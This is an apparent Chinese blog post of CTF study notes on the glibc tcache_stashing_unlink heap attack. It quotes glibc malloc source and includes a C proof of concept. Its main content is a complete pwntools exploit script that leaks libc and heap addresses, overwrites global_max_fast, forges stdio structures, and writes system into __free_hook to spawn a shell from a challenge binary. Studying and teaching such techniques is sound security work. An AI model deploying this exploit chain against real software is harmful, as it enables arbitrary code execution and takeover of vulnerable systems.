tcache_stashing_unlink_attack学习笔记
发表于:2021-10-01 |
字数统计: 2.2k | 阅读时长: 12分钟 | 阅读量:

原理:当使用calloc函数分配堆时,libc-2.29以上版本中calloc函数都不会从tcache中申请chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
  if (in_smallbin_range (nb))  
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk
{
bck = victim->bk; //获取倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck; //将victim从small bin的链表中卸下
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引
if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk; //漏洞产生点,修改bk指针即可伪造bck
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //将当前chunk从small bin里卸下
bck->fd = bin; //将arena的值写入
//放入tcache bin里
tcache_put (tc_victim, tc_idx);
}
}
}
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
-----------------------------------
原文链接:https://blog.csdn.net/seaaseesa/article/details/105870247

由以上代码可知,当我们从smallbin中取出最后一个chunk,将会对双向链表做了一个完整性的检查,但是将smallbin中的chunk放入tcache时的这个过程却没有检查。

利用手法1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);//这个地址是任意的可写地址

printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);// size > 0x90

//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}

我们先放入5个tcache,再放入两个smallbin,然后改倒数第二个smallbinchunk的bck为一个可写地址,紧接着申请掉smallbin中的最后一个chunk,执行两次将smallbin中的chunk放入tcache中的操作,就可以将可写地址放入tcache中,达到任意地址写的目的。


利用手法2:

这里我们用一个例题来说明。

首先大小被限制在0x90~0x200之间。

image-20211007171728126

漏洞点在于free后没有置0

image-20211007171820784

这个题需要我们先利用tcache_stashing_unlink去打global_max_fast,因为我们只需要改变global_max_fast的值所以在这我们就将tcache填入6个,smallbin填入两个,执行一次将smallbin中的chunk放入tcache中的操作,就可以将global_max_fast的值改为main_arena的值。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
for i in range(4):
add(0x1f8)#0~3
for i in range(2):
add(0xe8)#4~5
for i in range(6):
dele(4)
edit(4,'\x00'*0x10)
for i in range(7):
dele(3)
edit(3,'\x00'*0x10)

dele(0)
dele(2)
show(0)
io.recvuntil('ent: ')
libc_base=u64(io.recv(6)+'\x00\x00')-libc.symbols['__malloc_hook']-96-16
binsh=libc_base+libc.search('/bin/sh').next()
system=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
global_max_fast=libc_base+0x1eeb80
print('libc_base',hex(libc_base))

show(2)
io.recvuntil('ent: ')
heap_base=u64(io.recv(6).ljust(8,'\x00'))+0x110
print('heap_base',hex(heap_base))

add(0x108)#6
add(0x108)#7
add(0x108)#8
edit(2,'\x00'*0x108+p64(0xf1)+p64(heap_base)+p64(libc_base+0x1eeb80-0x10))
add(0xe8)#9

改变global_max_fast的值后free的chunk都会被放入到fastbin中,并且我们发现_IO_2_1_stderr_中有8个字节的0xff,所以我们可以申请0xf0大小的chunk,又因为free_hook在main_arena之后不远处,且以下函数也都在

  • _IO_list_all
  • stdout
  • stdin
  • stderr
  • __free_hook

我们就可以不断的向下申请chunk直到申请到目标函数。因为要保持到目标函数中间的数据都不变,所以我们需要dump中间的这些数据到文件中dump memory 文件位置 起始地址 结束地址(不包含) ,我们申请到__free_hook函数处填入system地址即可。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
io=process('./pwn2')
elf=ELF('./pwn2')
libc=elf.libc
context.log_level='debug'

def add(size):
io.sendlineafter('>> ','1')
io.sendlineafter('size: ',str(size))

def dele(index):
io.sendlineafter('>> ','2')
io.sendlineafter('index: ',str(index))

def edit(index,content):
io.sendlineafter('>> ','3')
io.sendlineafter('index: ',str(index))
io.sendafter('content: ',content)

def show(index):
io.sendlineafter('>> ','4')
io.sendlineafter('index: ',str(index))

def exp():
for i in range(4):
add(0x1f8)#0~3
for i in range(2):
add(0xe8)#4~5
for i in range(6):
dele(4)
edit(4,'\x00'*0x10)
for i in range(7):
dele(3)
edit(3,'\x00'*0x10)

dele(0)
dele(2)
show(0)
io.recvuntil('ent: ')
libc_base=u64(io.recv(6)+'\x00\x00')-libc.symbols['__malloc_hook']-96-16
binsh=libc_base+libc.search('/bin/sh').next()
system=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
global_max_fast=libc_base+0x1eeb80
print('libc_base',hex(libc_base))

show(2)
io.recvuntil('ent: ')
heap_base=u64(io.recv(6).ljust(8,'\x00'))+0x110
print('heap_base',hex(heap_base))

add(0x108)#6
add(0x108)#7
add(0x108)#8
edit(2,'\x00'*0x108+p64(0xf1)+p64(heap_base)+p64(libc_base+0x1eeb80-0x10))
add(0xe8)#9
#tcache_stashing_unlink over

dele(5)
edit(5,p64(libc_base+libc.symbols['_IO_2_1_stderr_']+0x90-1))
add(0xe8)#10
add(0xe8)#11
edit(11,'\x00'+p64(0)+p64(0x20f))
dele(3)
edit(3,p64(libc_base+libc.symbols['_IO_2_1_stderr_']+0xa0))
add(0x1f8)#12
add(0x1f8)#13

payload='\x00'*0x28+p64(libc.symbols['_IO_file_jumps']+libc_base)
payload+=p64(0xfbad2887)+p64(libc_base+libc.symbols['_IO_2_1_stdout_']+131)*7
payload+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']+132)+p64(0)*4
payload+=p64(libc_base+libc.symbols['_IO_2_1_stdin_'])+p64(1)+'\xff'*8
payload+='\x00'*3+'\x0a'+p32(0)+p64(libc_base+0x1ee4c0)
payload+='\xff'*8+p64(0)+p64(libc_base+0x1eb880)+p64(0)*3
payload+='\xff'*4+'\x00'*0x14+p64(libc_base+libc.symbols['_IO_file_jumps'])
payload+=p64(libc_base+libc.symbols['_IO_2_1_stderr_'])
payload+=p64(libc_base+libc.symbols['_IO_2_1_stdout_'])
payload+=p64(libc_base+libc.symbols['_IO_2_1_stdin_'])
payload+=p64(0)
payload=payload.ljust(0x1f0,'\x00')
payload+=p64(0x20f)
edit(13,payload)

def encode(a,b):
offset=b-0x7f0b79060000
c=''
for i in range(0x1f*2):
if u64(a[i*8:i*8+8])>0x7f0000000000 and u64(a[i*8:i*8+8])<0x800000000000:
c+=p64(u64(a[i*8:i*8+8])+offset)
else:
c+=p64(u64(a[i*8:i*8+8]))
return c

fd=open('./2','r')

for i in range(0x11):
dele(3)
edit(3,p64(libc_base+libc.symbols['_IO_2_1_stderr_']+0xa0+0x1f8*(i+1)))
add(0x1f8)#14~15\
add(0x1f8)
payload=fd.read(0x1f0).ljust(0x1f0,'a')
fd.read(8)
payload=encode(payload,libc_base)
payload+=p64(0x20f)
edit(15+i*2,payload)

dele(3)
edit(3,p64(libc_base+libc.symbols['_IO_2_1_stderr_']+0xa0+0x1f8*(i+2)))
add(0x1f8)
add(0x1f8)
gdb.attach(io)
payload='\x00'*0x148+p64(system)
edit(15+i*2+2,payload)
edit(0,'/bin/sh\x00')
dele(0)

io.interactive()
exp()
上一篇:
长城杯final
下一篇:
长城杯